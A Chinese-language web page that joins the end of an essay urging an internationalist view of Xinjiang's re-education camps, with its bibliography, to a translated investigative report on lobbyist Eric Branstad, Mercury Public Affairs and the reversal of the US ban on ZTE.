那么，我们该如何前行呢？有迹象表明，国际压力将至少迫使中国政府关闭一些“再教育营”（尽管现实情况尚不清楚）。此外，抵制与新疆“再教育营”有关的产品，无论是《花木兰》、苹果配件，还是H&M牛仔裤，都可能在短期内有所影响。

但是，从长远来看，我们需要学会以一种更具国际主义的方式来谈论新疆再教育营的中国劳工问题。这意味着要超越冷战式的民族主义和人道主义框架。相反，专家学者们应该强调，全球政治经济力量是如何成为再教育营的帮凶。

美国的观察家们同时应该抵制把“再教育营”说成是与美国社会毫不相干的事件，因为这种做法只会强化美国作为全球警察的合法性。相反，我们需要把美国的资本主义、霸权主义和新疆“再教育营”联系起来。我们应该极力谴责中国的伊斯兰恐惧症，就正如我们以前竭力对抗布什政府血腥的反恐战争政策一样。我们一面要大力指责全球供应链导致维吾尔人强制劳动的不平等体制，一面要谴责廉价商品生产网路剥削外籍劳工和监狱劳工。我们更要全力谴责在中国周边地区的国家滥权行为，并谴责边境巡逻队和员警部队在美国社会边缘的暴力行为。

只有这种国际主义的框架才能抵御冷战教唆者和中国辩解者的冷嘲热讽。更为重要的是，只有具备国际主义的视野才能让我们明白到新疆“再教育营”是我们共同要面对的问题。在全球化下的今天，我们必须要进行更加自省的对话。〇

We Need to Think About Xinjiang in Internationalist Terms

Bibliography:

Al-Mohammad, Hayder. 2012. 'A Kidnapping in Basra: The Struggles and Precariousness of Life in Postinvasion Iraq.' *Cultural Anthropology* 27, no. 4: 597–614.

Brophy, David. 2019. 'Good and Bad Muslims in Xinjiang.' *Made in China Journal* 4, no. 3: 44–53.

Buckley, Chris. 2018. 'China Is Detaining Muslims in Vast Numbers. The Goal: "Transformation."' *The New York Times*, 8 September. https://www.nytimes.com/2018/09/08/world/asia/china-uighur-muslim-detention-camp.html.

Byler, Darren. 2018. 'Violent Paternalism: On the Banality of Uyghur Unfreedom.' *Asia-Pacific Journal: Japan Focus* 16, issue 24, no. 4: 1–15. https://apjjf.org/2018/24/Byler.html.

Doyon, Jérôme. 2019. '"Counter-extremism" in Xinjiang: Understanding China's Community-Focused Counter-Terrorism Tactics.' *War on the Rocks*, 14 January. https://warontherocks.com/2019/01/counter-extremism-in-xinjiang-understanding-chinas-community-focused-counter-terrorism-tactics.

Greer, Tanner. 2018. 'Forty-eight Ways to Be Sent to a Chinese Concentration Camp.' *Foreign Policy*, 13 September. https://foreignpolicy.com/2018/09/13/48-ways-to-get-sent-to-a-chinese-concentration-camp.

Gregory, Derek. 2008. 'The Rush to the Intimate: Counterinsurgency and the Cultural Turn.' *Radical Philosophy*, issue 150. https://www.radicalphilosophy.com/article/the-rush-to-the-intimate.

Grose, Timothy. 2019. '"Once Their Mental State Is Healthy, They Will Be Able to Live Happily in Society": How China's Government Conflates Uighur Identity with Mental Illness.' *China File*, 2 August. http://www.chinafile.com/reporting-opinion/viewpoint/once-their-mental-state-healthy-they-will-be-able-live-happily-society.

Harcourt, Bernard E. 2018. *The Counterrevolution: How Our Government Went to War against Its Own Citizens*. New York, NY: Basic Books.

Hunerven, Adam. 2019. 'Spirit Breaking: Capitalism and Terror in Northwest China.' *Chuang* 2: 485–525.

Iraq Body Count. 2019. 'Documented civilian deaths from violence.' https://www.iraqbodycount.org/database/

ITV. 2019. 'Undercover: Inside China's Digital Gulag.' *Financial Times*, 3 July. https://www.ft.com/content/b3ecae28-a304-11e9-974c-ad1c6ab5efd1.

Ji, Yantao and Wei Yin. 2016. 'The Theory and Practice of Anti-terrorism Community Policing [反恐社区警务的理论与实践].' 中国人民公安大学学报: 社会科学版 [*Journal of the Chinese People's Public Security University: Social Science Edition*], no. 1: 144–51.

Kelly, John D., Beatrice Jauregui, Sean T. Mitchell, and Jeremy Walton (eds.). 2010. *Anthropology and Global Counterinsurgency*. Chicago, IL: University of Chicago Press.

Kundnani, Arun and Ben Hayes. 2018. 'The Globalisation of Countering Violent Extremism Policies: Undermining Human Rights, Instrumentalising Civil Society.' Transnational Institute. https://www.tni.org/files/publication-downloads/the_globalisation_of_countering_violent_extremism_policies.pdf

Liu, Xin. 2019. 'Refuting 22 Western Nations, 37 Governments Laud China's Human Rights Achievements.' *Global Times*, 13 July. http://www.globaltimes.cn/content/1157728.shtml.

Lowe, David (translated by Cao Xuefei and Li Yongtao). 2017. *Policing Terrorism: Research Studies into Police Counterterrorism Investigations* [警务反恐：反恐侦查专题研究]. Beijing: Zhongguo Renmin Gong'an Daxue Chubanshe.

Lu, Peng and Xuefei Cao. 2014. '浅析以色列反恐战略及对中国新疆反恐启示 [An Analysis of Israel's Anti-terrorism Strategy and How it Inspires China's Xinjiang Anti-terrorism].' 中国刑警学院学

报 [*Journal of the National Police University of China*], no. 1: 19–21.

Mahmut, Dilmurat. 2019. ‘Controlling Religious Knowledge and Education For Countering Religious Extremism: Case Study of the Uyghur Muslims in China.’ *FIRE: Forum for International Research in Education* 5, no. 1: 22–43.

Wang, Ding and Dan Shan. 2016. ‘反恐研究与新疆模式 [Studies on Anti-terrorism and the Xinjiang Mode].’ 情报杂志 [*Journal of Intelligence*] 35, no. 11: 20–26.

Wolfe, Patrick. 2006. ‘Settler Colonialism and the Elimination of the Native.’ *Journal of Genocide Research* 8, no. 4: 387–409.

Yang, Qingchuan. 2007. ‘美“儒将”彼得雷乌斯能拯救伊拉克战局吗 [Can the U.S. “Sage” Patreaus Save the Iraq War?].’ 新华 [*Xinhua*], 18 February. http://news.sohu.com/20070218/n248296000.shtml.

Zhang, Xinde. 2016. ‘乌鲁木齐市大街小巷将建949个便民警务站 [949 People’s Convenience Police Stations have been built in the streets of Urumqi]. 亚心网 [*Yaxin Net*], 27 October. https://kknews.cc/society/2a4mrng.html.

Zucchino, David. 2019. ‘U.S. and Afghan Forces Killed More Civilians Than Taliban Did, Report Finds.’ *The New York Times*, 24 April. https://www.nytimes.com/2019/04/24/world/asia/afghanistan-civilian-casualties-united-nations.html.

原文

中国的人在华盛顿：他在特朗普的沼泽中发了财 - iyouport

关于高堡奇人

【2020年11月4日存档】特朗普对中国的决定神反转，其背后的原因是什么？这个神秘的“影子”说客是靠什么发家的？他和特朗普的关系是什么？为什么他的活动会让人们想起拜登的儿子？……

2018年4月，特朗普政府禁止中国电信设备巨头中兴通讯购买美国制造的零部件，威胁要削弱该公司的全球业务。

作为特朗普对华贸易战的开山之作，这一措施非常醒目。理由是中兴通讯曾违反出口管制政策，向伊朗和朝鲜出售技术，然后又违反了与美国商务部达成的协议。此外，中兴制造的技术可用于监控，并与中国军方有联系。

然而，仅仅一个月后，美国总统特朗普就出人意料地在推特上表示，他可能会对一项协议持开放态度，该协议将使中兴通讯摆脱美国商务部的处罚，即所谓的拒绝令。

他写道：“在中国失去了太多的工作岗位”。共和党议员、华盛顿分析人士和特朗普的国家安全顾问 John Bolton 都对此大吃一惊。博尔顿后来称这一突如其来的逆转是 “个人的心血来潮和冲动的政策”。

但白宫还是向前推进了。到6月初，美国商务部和中兴通讯达成了初步协议。7月，商务部解除了禁令。

长期以来，中兴通讯与美国供应商的业务回归之路一直笼罩在神秘的阴影之中。一些批评人士强调了为中兴公司工作的游说者的作用。

在商务部处罚中兴通讯后不久，一家代表中国公司的律师事务所开始每月向游说机构水星游说公司 **Mercury Public Affairs** 支付**7.5**万美元，以解除禁令。水星公司的合伙人、前特朗普竞选顾问 **Bryan**

Lanza 接下了这笔钱。并且，Intercept 的调查发现，**Lanza** 与水星公司的同事、特朗普竞选的老将、前商务部官员 **Eric Branstad** 曾一起前往中国，他也是特朗普当时的驻华大使 **Terry Branstad** 的儿子。

Eric Branstad 与特朗普关系密切，并在7月前加入游说公司水星公司，此前曾为商务部部长 Wilbur Ross 提供建议。他有一段充满坎坷的过去，在他十几岁时因车祸杀死了两个人，他曾借助其父亲和特朗普的关系赚钱。在他的家乡爱荷华州，他的活动会引发人们将他与民主党总统候选人乔·拜登的儿子亨特·拜登联系起来的思考。

- 《拜登的儿子投资中国'老大哥'监视技术》

特朗普那条奇怪的推文发出三天之后，Lanza 开始代表中兴通讯给美国商务部的官员发邮件和打电话。

6月，他和 Eric Branstad 前往北京与中国政府团体会面，其中包括一个由中共有影响力的统战部成立的商会，该商会与中国大型企业有联系。中兴通讯是一个关系密切的集团的执行董事会成员。阿德莱德大学统战专家 Gerry Groot 称，该集团是该商会上级组织的一个部门。

文件显示，Eric Branstad 并没有注册成为中兴通讯的代理人，尽管游说公司 Mercury 与中国公司签订合同的时间、以及他决定在中国期间陪同中兴通讯游说代表，都能说明问题。他与中国政府团体的会面，只是在组办方用中文发表的帖子中才被披露出来。

如果 Eric Branstad 就中兴通讯一事联系了他在商务部的前同事，那就违反了他在**2017**年加入该部门时签署的道德承诺。该承诺禁止他在离开该机构工作后五年内游说商务部 。

Eric Branstad 在接受 TheIntercept 采访时表示，他没有以任何方式为任何客户游说商务部，并补充说，自从加入水星公司以来，他只以个人名义与前政府同事会面。“如果我做了什么事，那就是和老朋友一起过生日之类的事。我们不谈生意。”他说，他在中国与 Lanza 的会面不包括“商业或政策讨论”，他指出，此行的动机只是希望“在文化上建立联系，展现好感”。

“我甚至不知道[中兴通讯]”，Branstad 说。“我特别选择不参与中国的一切事务，因为与我父亲做的事会有天然的冲突。”

您很快就会知道这些都是狡辩。Chart: Soohee Cho/The Intercept

通过“信息自由法案”请求获得的电子邮件和商务部日历表明，**Eric Branstad** 与 **Lanza** 在**2016**年特朗普竞选活动中相遇后，他们一直在一起工作。

在内部，代表众多中国客户的水星公共事务公司（Mercury Public Affairs）因代表其他外国利益集团的工作而受到特别检察官 Robert Mueller 的调查，该公司宣传此次中国之行是“为了扩大该公司在亚洲的影响力”。

Eric Branstad 和 Lanza 此行在北京的东道主在其网站上公布的记述中指出，两位说客讨论的问题与中兴通讯的禁令相近，包括特朗普政府的对华政策和新生的贸易战。Lanza 和水星公司没有回应置评请求。

利益冲突、中国影响力兜售、和亨特·拜登的活动是2020年总统选举的热点。

8月，特朗普竞选团队推出了一则两分钟的广告，详细介绍了拜登儿子在一家依靠国有银行融资的中国投资基金中的股权。广告称，这笔交易是在亨特的父亲乔·拜登代表奥巴马政府在中国主导谈判的前后达成的，这引起了人们怀疑中国对拜登家族施加不当影响的担忧。特朗普指责对手对中国软弱，称其为“Beijing Biden”，并强调亨特·拜登轻微触法和滥用药物的历史。

作为对批评的回应，这位前说客亨特·拜登从投资基金（即 BHR Partners）的董事会辞职。10月，纽约邮报报道了它声称在2019年从一台丢弃在特拉华州维修店的笔记本电脑中找到的电子邮件。据称从该设备中找到的一封邮件显示，布里斯马控股公司的乌克兰官员 Vadym Pozharskyi 感谢亨特·拜登安排与当时的副总统会面，而另一封邮件则显示亨特·拜登为他的外国企业制定了潜在的发展战略，包括努力在中国寻求与能源相关的商业机会。

拜登竞选团队表示，他们“审查了拜登当时的官方日程安排，并没有发生邮报所称的会面。”这些邮件的来源不同寻常 —— 一位与特朗普的律师 **Rudy Giuliani** 有联系的笔记本电脑维修工，**Giuliani** 曾多次试图挖出亨特·拜登在乌克兰工作的污点，这让人们对邮报的报道产生了怀疑。

而 Eric Branstad 在特朗普政府内外的职业生涯可能是更大的故事。

当他的父亲是爱荷华州州长时，Eric Branstad 通过他控制的一家有限

责任公司从当地政治候选人那里收受钱财，用于咨询和公关工作。

当他加入商务部时，根据竞选财务和抵押贷款记录，他提交了一份个人财务披露，遗漏了收入和债务来源。在商务部，他与特朗普竞选老将 **Rick Gates**（被起诉的**2016**年竞选主管 **Paul Manafort** 的前商业伙伴）的互动引起了人们的关注。

而在 King & Spalding 律师事务所的游说合规专家 Thomas J. Spulak 表示，虽然他前往中国鼓动业务显然没有违反任何法律，但 Eric Branstad 违反了商务部的道德规范。

Spulak 说："看起来他似乎正在与政府人员进行交易。""在这里，一个大使的儿子可以在产生业务方面发挥强大的政治影响力。"

Eric Branstad 对他从父亲的职位中受益的观点不以为然。他说："我建立了自己的信誉，并且做出了自己的努力。实际上，我从不以自己的姓氏赚钱。"

没有迹象表明，Eric Branstad 的活动影响了他父亲 Terry Branstad 卸任驻华大使一职。美中关系紧张，Terry Branstad 的任期也已经超过了他的三位直接前任。作为中国领导人习近平的长期朋友，**Terry Branstad** 被称为特朗普政府鹰派的"制衡者"，曾拒绝呼应对中国采取更积极的立场。但老 Branstad 并不是唯一一个与北京有接触的人。

大使之子在中国会见的团体之一是由中共中央统战部监督的，该部门最近在华盛顿面临着高度的审查。9月，美国国务卿蓬佩奥（Mike Pompeo）谴责统战部是"中共官方的海外宣传工具"，但实际上，它远不止于此：这是一个影响深远的机构，其目的是吸纳中国社会的重要部分，包括私营企业和企业家，并间接影响海外政策。

主办方中国民营经济国际合作商会（简称 CICCPS）协助中国最大的公司进行海外投资，同时掌握他们的活动情况。在同一次中国之行中，Lanza 和 Eric Branstad 拜访了一个与中国国安部有关系的团体。陪同这两位水星公司说客在北京活动的是一位代表中国商业利益的爱荷华州顾问，此人在涉及一家中国农业公司的**FBI**商业秘密盗窃案的调查中扮演重要角色。据华尔街日报报道，同一周，Eric Branstad 在中国上海为美国商界人士举办了一场关于贸易战的活动。

其他利益集团似乎也因 Eric Branstad 与政府的关系而向他靠拢。例如，2019年，特朗普政府威胁要对欧洲石英征收新的关税，这可能会

使一系列建筑材料的价格有效地翻倍。

Cosentino 是一家西班牙建筑材料公司，供应美国近一半的石英市场，它也聘请水星游说公司来阻止这一决定。在 **Lanza** 领导的包括 **Eric Branstad** 和水星公司团队其他成员在内的游说者推动下，美国贸易代表办公室和商务部做出了让步，将 **Cosentino** 产品从面临关税的欧洲商品清单中剔除。尽管 Eric Branstad 实际参与其中，但他并没有登记为 Cosentino 游说。

而在离开商务部并加入水星公司大约一年后，他是被列为代表 InterDigital Administrative Solutions 的两名说客之一，该公司是一家美国移动技术公司，在与中国电信巨头华为的专利战中试图影响商务部和国会。

《游说披露法》允许注册人为每个游说者单独填报，以区分每个人所针对的问题和机构。水星公司的表格显示 **Eric Branstad** 分担了对美国商务部的游说任务。

Eric Branstad 证实，InterDigital 是他的客户，但他说他 “没有” 代表他们游说商务部。他补充说，他将让水星公司调查为什么他的名字被列为游说他的前机构。

特别是关于 Eric Branstad 在中国工作的披露，正值特朗普将 Covid-19 造成的破坏归咎于中国，称其为 “中国病毒” 的同一时期。**“Eric** 在中国上海与银行家和律师们一起努力推进他的游说事业，而特朗普和他的盟友却在追杀中国，”来自爱荷华州奥图姆瓦的长期政治和工会活动家 **Chris Laursen** 说，“这是一个有趣的悖论。”2016年1月12日，爱荷华州得梅因州的州议会大厦，爱荷华州州长 Terry Branstad 走过他的儿子 Eric 身边

一个重要的州长之子

「图」

Branstad 这个姓氏代表了爱荷华州历史上最强大的政治王朝。1983年至1999年间，Terry Branstad 史无前例地连任四届州长，成为该州任职时间最长的行政长官。2010年，在担任得梅因大学校长后，Terry Branstad 再次竞选州长并胜出，一直到2017年出任驻中国大使。爱荷华州民主党战略家 Jeff Link 说：“在被特朗普任命之前，他被戏称为 ‘终身州长’。”。

作为 Terry Branstad 三个孩子中的长子，Eric Branstad 从小就沉浸在这个孤岛般的政治世界中。在青少年时期，他就经常成为头条新闻的主角。1991年，16岁的他开着父亲竞选委员会最初购买的一辆面包车，穿过道路中间线，迎面撞上了一辆车，造成两人死亡。这场车祸引发了一桩政治丑闻和一场高度公开的诉讼。据《得梅因纪事报》报道，**Eric Branstad** 最终只因行为不当而支付了**34.5**美元的罚款和法庭费用，许多爱荷华人认为这一处罚体现了他父亲的政治影响力。

致命的车祸发生后，在 Eric Branstad 被送往密苏里州的一所军事学院之前，还发生了其他违规行为 —— 包括公开醉酒、使用假身份证购买啤酒和非法持有酒精。“很多孩子身上都有点儿问题，这个孩子有很多问题”， Terry Branstad 在1995年的一次新闻发布会上说。

Eric Branstad 对 Intercept 说，车祸事件仍然困扰着他；他将此归咎于自己当时太年轻在危险道路上没有经验。

他说：“我以前从未喝过酒，以前也从未碰过毒品，从未做过任何事 …… [车祸]接下来的那几年过得很糟。很难成为众人瞩目的焦点。”

但是，爱荷华州的许多人仍然记得那些早期的违法行为。“他是白人特权的缩影。州长的儿子杀了人，却没有被追究责任”， John R. Campbell Jr. 说，他是一名工厂工人，也是得梅因的终身居民，“作为一个非裔美国人，我想换做是我肯定不会得到这种豁免。”

Eric Branstad 的一些更大的突破是后来才有的，因为他在政治上开辟了一片空间。由于爱荷华州在总统选举中的作用过大，每四年都会吸引大量的资金和影响力贩子涌入。**Eric Branstad** 在一系列州和全国性竞选活动中找到了工作，包括**2004**年乔治·**W**·布什的连任竞选。

2006年，他到了 **Lincoln Strategies Group** 工作，这是一家颇具影响力的政治咨询和游说公司，由他爹 **Terry Branstad** 的前政治任命者之一的儿子 **Charles W. Larson Jr.** 共同创办。后来改名为 **LS2group**，该公司曾代表大型石油公司和农业利益集团以及沙特政府拿下合同。

这家倾向于共和党的咨询公司一直出现在 Eric Branstad 的工作中，即使他在2008年正式离开之后。他在2011年创办的公关和咨询公司 Matchpoint Strategies 曾短暂地与LS2共享一个地址。Eric Branstad 表示，他从该公司租用了办公空间，但他也指出，他与 Larson 关系密切，后者是他一个孩子的教父。

当他的父亲在2010年开始第二次担任州长时，**Eric Branstad** 通过 **Matchpoint** 从候选人和**PAC**那里获得了数万美元的筹款和咨询工作。“裙带关系是 Eric 最引人注目的地方，也是关于他最容易想到的事”，爱荷华州公民社区改善组织的政策主任 Adam Mason 说，“我们对他的政治敏感性并不怎么尊重。他一直在搭他父亲的顺风车。”

他在 Matchpoint 的工作之外，还担任了“美国可再生未来”组织的负责人，该组织倡导乙醇，这在爱荷华州是一个强大的利益，因为该州是主要的玉米生产地。根据向国税局提交的投诉，尽管在2015年收到了125万美元的赠款，但这个声称非营利的组织自2014年以来一直没有提交纳税表。

Eric Branstad 并不是家族中唯一一个因父亲的政治关系而获得影响力的人。2013年，Terry Branstad 任命他的小儿子 Marcus Branstad 为爱荷华州自然资源委员会成员，该委员会负责监督州公园和森林。Marcus Branstad 还在美国化学委员会（American Chemistry Council）担任说客，该委员会是美国最大的化工企业的贸易组织，他利用这个职位来影响爱荷华州的立法者。

但 **Eric Branstad** 的政治明星地位在他于特朗普竞选活动中所扮演的角色的推动下，上升得更高。

“特朗普队”

「图」

最近在接受视频采访时他告诉爱荷华州的一个青年团体，Eric Branstad 第一次与特朗普见面是在2015年的得梅因，当时特朗普正在为竞选总统进行角逐。在2016年爱荷华州党团会议之前，他和特朗普又至少见了两次面，分别是在一家乙醇厂和一次能源会议上。当时，Eric Branstad 正开着“美国可再生未来”组织的房车在爱荷华州路演，追逼特朗普当时的对手 Ted Cruz，后者对燃料标准的立场激怒了乙醇支持者。*Eric Branstad* 的推文中贴出他和特朗普的合影

2016年5月，特朗普让 Eric Branstad 飞往纽约，为他提供了一份工作，担任特朗普的爱荷华州竞选主管。“我其实并不是在找工作，但我显然与特朗普先生建立了很好的关系”，他说。之后，他补充说：“我们就一起工作了。”

Eric Branstad 为特朗普的竞选带来了至关重要的人脉。“他了解爱荷华州，了解爱荷华的政治，特别是了解该州周围的共和党精英”，爱

荷华中央学院的政治学家、《从爱荷华州党团到白宫》的作者 Andrew Green 说，“要理解特朗普2016年在爱荷华州的选举胜利，尤其是对于特朗普这样的相对局外的人来说，这是个关键。”

但他的主要资产很可能是他的家庭。在他的儿子为特朗普竞选工作的同一个月，**Terry Branstad** 支持了特朗普。2016年7月28日，希拉里·克林顿在民主党全国代表大会上发表演讲的当晚，一个具有开创性的时刻到来了。

当老 Branstad 在爱荷华州达文波特的一场人满为患的特朗普集会上发表演讲时，他的儿子就在一旁观看。“他们已经抛弃了美国中部地区”，Terry Branstad 在谈到民主党时说；然后他又说：“他们现在是建制派的党，是华盛顿特区的精英阶层。”这些话从一个体现了爱荷华州政治体制的人嘴里说出来显得十分可疑。

爱荷华州的共和党卫队很快就跟在了 Branstad 身后，一直站在特朗普身边，直到大选结束，甚至在那个著名的 “Access Hollywood” 录像带公布后依旧如此（该录像显示特朗普吹嘘自己如何玩弄女人）。

“在全国各地的建制派共和党人对提名特朗普真正产生怀疑的时候，得到州长的支持是巨大的动力”，民主党战略家 Link 说。**“Terry Branstad** 让爱荷华州的每一位共和党人完全可以接受、完全支持特朗普。此后他们每时每刻都在支持他，从来没有动摇”。与其他州不同的是，爱荷华州并没有引起任何一场 Never Trump 运动。

爱荷华州在2008年和2012年都被奥巴马赢得，但特朗普最终在2016年以9个百分点的惊人优势赢得该州。大选后一个月，特朗普任命 Terry Branstad 为驻华大使，而 **Eric Branstad** 则在特朗普腐败的就职委员会中担任美国州长联络人。不久后，**Eric Branstad** 就被任命为白宫商务部的高级顾问。

在为特朗普2016年的竞选和就职典礼工作时，Eric Branstad 遇到了几个人，这些人此后一直在他在商务部和水星游说公司的工作中出现。其中一个就是水星公司的 Lanza，他当时是特朗普竞选和过渡团队的顾问；另一个是 Rick Gates，他将继续认罪，承认撒谎和密谋反美。在爱荷华州兜售自己的家庭关系多年后，Eric Branstad 在特朗普团队中找到了归宿。

道德问题

「图」

Eric Branstad 在2017年1月供职商务部时，按照法律要求提交了公开财务披露报告。

该表格显示没有显示债务、资产或来自外部的收入。但公开的记录却描绘了另一幅完全不同的画面。联邦选举委员会的文件显示，Eric Branstad 的有限责任公司 Matchpoint 在上一年从共和党全国委员会和特朗普2016年的竞选活动中收取了79250美元 —— 这些收入本应在披露表上写出来，但并没有。

当 Eric Branstad 进入特朗普政府时，Polk County Recorder 显示了他在得梅因家中的抵押贷款，该债务也应予以披露。

竞选法律中心联邦改革主任 Brendan Fischer 指出："如果可以确定 Branstad 明知故犯，故意不包括这些信息，他可能会受到民事和刑事处罚。" 他还补充说，民事诉讼的处罚可高达约6.2万美元。

Eric Branstad 告诉 Intercept，他提交了一份 "经修正的" 财务披露，但是商务部道德操守官员向 Intercept 公开的任何表格中均未包含有关其竞选活动付款或债务的更新信息。

Eric Branstad 来到商务局后不久，就卷入了一场涉及盖茨（Rick Gates)的争议。离开特朗普竞选团队后，盖茨与特朗普的密友 Thomas Barrack 一起参与就职典礼，随后加入 Barrack 的投资公司 Colony NorthStar。

2017年3月，在 Colony 工作期间，盖茨通过电子邮件向 **Eric Branstad** 发送了一份 **Barrack** 撰写的关于与沙特共享核技术计划的白皮书。众议院监督委员会后来进行的调查发现，Barrack 在这个提案中获利。盖茨要求 Eric Branstad 安排一次关于该提案的会议。

"我今天早上与 Ross 部长讨论过了，这是一个优先事项"，Eric Branstad 回答说。他后来帮助促成了 Barrack 和商务部长 Wilbur Ross 在 Barrack 位于洛杉矶的家中的会面 —— 盖茨在一封电子邮件中称这次会面是 "随意的，显然是私人的，而且是OTR"，也就是不作记录的意思。

当他们开车去参加活动时，Eric Branstad 将罗斯为即将举行的众议院听证会提供的证词副本转交给盖茨，并要求他打印出来，尽管商务部的政策禁止员工与部门以外的人分享关键信息。

这不是 Eric Branstad 在商务部时唯一一次帮助盖茨。盖茨多次与他

联系，寻求商务部认可与罗马尼亚政府的国防合同。寻求该合同的公司 **Circinus** 由特朗普盟友、共和党筹款人 **Elliott Broidy** 领导。据纽约时报报道，Eric Branstad 将这一请求传递给商务部工作人员。商务部随后提供了支持。

关系的影响力

「图」

Eric Branstad 在其父亲开始担任驻华大使时，就涉足了与中国有关的工作。他在商务部工作期间，就对罗斯对美国的对华贸易政策产生了重大影响。特朗普曾在竞选中提出要缩小美国与北京的贸易不平衡，但罗斯和政府中的其他人仍然认为，不玩硬碰硬是可以赢得让步的。

Eric Branstad 和部长一起参加了几次涉及中国的关键贸易讨论。他还陪同特朗普参加了总统2017年11月对北京的贸易访问。作为白宫高级商务顾问的 Eric Branstad 于2017年6月29日在芝加哥的中华总商会致辞

代表中国商业和政府利益的人在华盛顿周围游走，**Eric Branstad** 的电子邮件和行程记录显示，他是代表中国政府和商业利益集团寻求影响美国政策的联络人。

例如，2017年7月，他收到了一封来自万向集团美国分公司总裁倪频的电子邮件，万向集团是一家拥有大量汽车零部件业务的中国企业集团。万向集团最近向爱荷华州马斯卡廷市捐赠了**30**万美元，用于资助一个留学项目。

倪频向 Eric Branstad 询问了拟在一个商务部举办的商业圆桌会议，该会议邀请万向和其他公司的高管参加，并补充说："万向美国公司有什么可以支持这个活动的吗？**2010**年以来，我们在美国投资了**100**多亿，而且都非常成功。"

Eric Branstad 拒绝了这一提议，但表示将 "很高兴" 在美国商务部与万向集团董事局主席鲁冠球会面。

至少有一次，一位就中国问题与 Eric Branstad 接触的说客声称是老 Branstad 派来的。"特斯拉的人在中国拜访你父亲，涉及中国对美国制造的汽车征税等问题"，特斯拉的对外贸易说客 Ashley Davis 在2017年8月给 Eric Branstad 的邮件中写道，"你父亲认为我们也应该在华盛顿与你联系。我相信你喜欢他这样做！"，此人补充道。

Eric Branstad 在商务部认识的一些游说者和利益集团，后来都会出现在他在水星公司的工作中。

2017年10月，Eric Branstad 的助理接受了已经成为 “水星” 合伙人的 Lanza 的日程邀请，讨论 “中国行”。Lanza 在一封电子邮件中指出，这次会面将包括中国山东玉皇化工的首席执行官姚超良（**Charlie Yao**），该公司是一家中国企业，正在路易斯安那州建设一个价值**18.5**亿美元的甲醇生产厂。该公司曾聘请水星公司游说美国官员。

仅仅几天后，Eric Branstad 就飞往中国参加特朗普的旋风式贸易访问团。加入访问团的还有他的好友兼邻居 **Zhao(赵)**，此人在得梅因经营着一家名为中国爱荷华集团的咨询公司。7个月后，Eric Branstad 将与 Lanza 和赵一起重返中国。这一次，他是水星游说公司工资单上的说客，而他的父亲作为大使被推到了贸易战的中心。1985年，爱荷华州得梅因州州长办公室里，州长Terry Branstad 和习近平的合影（左起第三个人是习近平）

在北京结交朋友

「图」

前大使 Terry Branstad 与中国的关系可以追溯到几十年前，1985年习近平到爱荷华州访问，当时这位中国领导人是爱荷华州的 “姊妹州” 中国河北省正定县委副书记。

在随后的几十年里，Terry Branstad 一直期待着中国为爱荷华州的玉米、大豆和猪肉拓展市场。在他被确认为大使之前，该州的政治和商业利益集团排着队兜售影响力，希望这一任命能促进爱荷华州对中国的出口。

其中就包括 **Eric Branstad** 的前雇主**LS2**，该公司在2017年3月促成了与上述中国爱荷华集团（China Iowa Group）的交易，该集团是他的好友兼邻居赵领导的位于得梅因的咨询公司。根据LS2网站上发布的一篇文章，两个集团承诺 “既代表美国在中国的利益，也代表在美国寻求客户的中国企业”。

这样的工作曾经让 Zhao Lijuan 受到了FBI的审查。2012年，她被发现在一家中国农业公司窃取商业机密，该公司曾找她做顾问。

法庭文件显示，FBI搜查了她的电脑，获得了她的电子邮件以及 Skype 用户信息和联系人，并记录了她与本案一名被告的几次通话，

其中该被告似乎暗指其公司从美国竞争对手那里窃取玉米种子生产线资料。

根据爱荷华州联邦检察官提交的一份简报，**FBI**的调查部分集中在怀疑可能向被告通风报信的美国种子公司“内部人士”身上。赵曾是位于爱荷华州的种子公司**Stine**的前雇员。

Terry Branstad 和国务卿迈·蓬佩奥都将此案作为中国工业间谍活动的一个恶劣例子。**2016**年，和赵谈话的那名被告人被判处三年有期徒刑。但赵却完全没有被起诉，全身而退。她继续在美国和中国之间做自己的生意。

目前还不清楚在 Terry Branstad 确认之后，LS2和中国山东的爱华集团做了哪些与中国有关的业务。LS2公司的赵和 Larson 都没有回应多次置评请求。但当次年的贸易战爆发后，爱荷华的农产品出口 —— 这两家咨询公司的重点领域 —— 被推到了聚光灯下。

2018年3月，特朗普开始宣布对中国商品征收一系列关税，两个超级大国之间的关系跌入新低。中国以对美国猪肉和大豆征收关税进行反击，对美国的中西部经济是一个打击。

特朗普政府分别在电信网络和关键技术上与中国展开了一场争论。其中争议最大的是中兴通讯，因为担心中国政府可能会利用其电信设备监视全球网络。

美国商务部在2018年4月对中兴通讯进行了零部件禁令的打击。作为科技战的靶子，中兴现在成了贸易战的筹码，电信和农业这两个看似毫无关联的领域突然被联系在一起。

推翻中兴的禁令不仅对水星游说公司至关重要，对于 **Branstad** 的家乡爱荷华州的人们来说也至关重要。如果能与中兴通讯继续交易可，能会促使中国取消农业关税。

Eric Branstad 在贸易战爆发前几周才开始在水星游说公司工作。他的名字并没有出现在水星公司的任何外国代理人注册法案 FARA 所规定的记录中，从其与中国客户合作的文件中看。

从纸面上看，中兴通讯的工作交给了 Lanza，他曾代理过几个有争议的外国客户，包括俄罗斯能源公司**EN＋**、中国监控摄像头制造商海康威视，以及一名被指控为朝鲜洗钱的拉脱维亚银行家。但在**2018**年**6**月， **Eric Branstad** 在北京加入了 **Lanza** 的游说阵营。

- 关于海康威视

这位前大使的儿子告诉 Intercept，赵在那促成了他们的会面并帮助翻译。

在北京，赵、**Lanza** 和 **Eric Branstad** 访问了中国发展研究基金会，这是一个与中国情报部门有联系的政府资助实体。

监管该基金会的发展研究中心是一个政府智囊团，在为国家领导人提供建议方面发挥着至关重要的作用，包括强大的国务院成员。它也是国安部特工们最喜欢的活动场所，中国国安部负责处理国内和国外的情报，有时被描述为美国联邦调查局和中央情报局之间的交叉角色。

“中国国安部官员喜欢利用发展研究中心作为掩护”，堪培拉澳大利亚战略政策研究所的中国影响力行动专家 Alex Joske 说。他补充说，该中心往往窝藏着经验丰富的特工。“这不仅仅是在某项任务方便的时候用这个头衔作掩护，并且是由很多官员扮演了多年的掩护。”

该基金会网站上关于这次会议的帖子将 Lanza 和 Eric Branstad 描述为“水星公司的公共事务代表”。Eric Branstad 告诉 Intercept，虽然他与水星游说公司的隶属关系可能会被顺带提及，但“没有任何合同或商业交易，也没有人得到任何报酬”。但能据 Intercept 报道，他在上海为美国商界人士举办的活动中告诉与会者，水星公司计划在中国开设办事处。

同日，赵、Lanza 和 Eric Branstad 参加了中国统战部旗下中国民营经济国际合作商会CICCPS举办的贸易问题论坛。

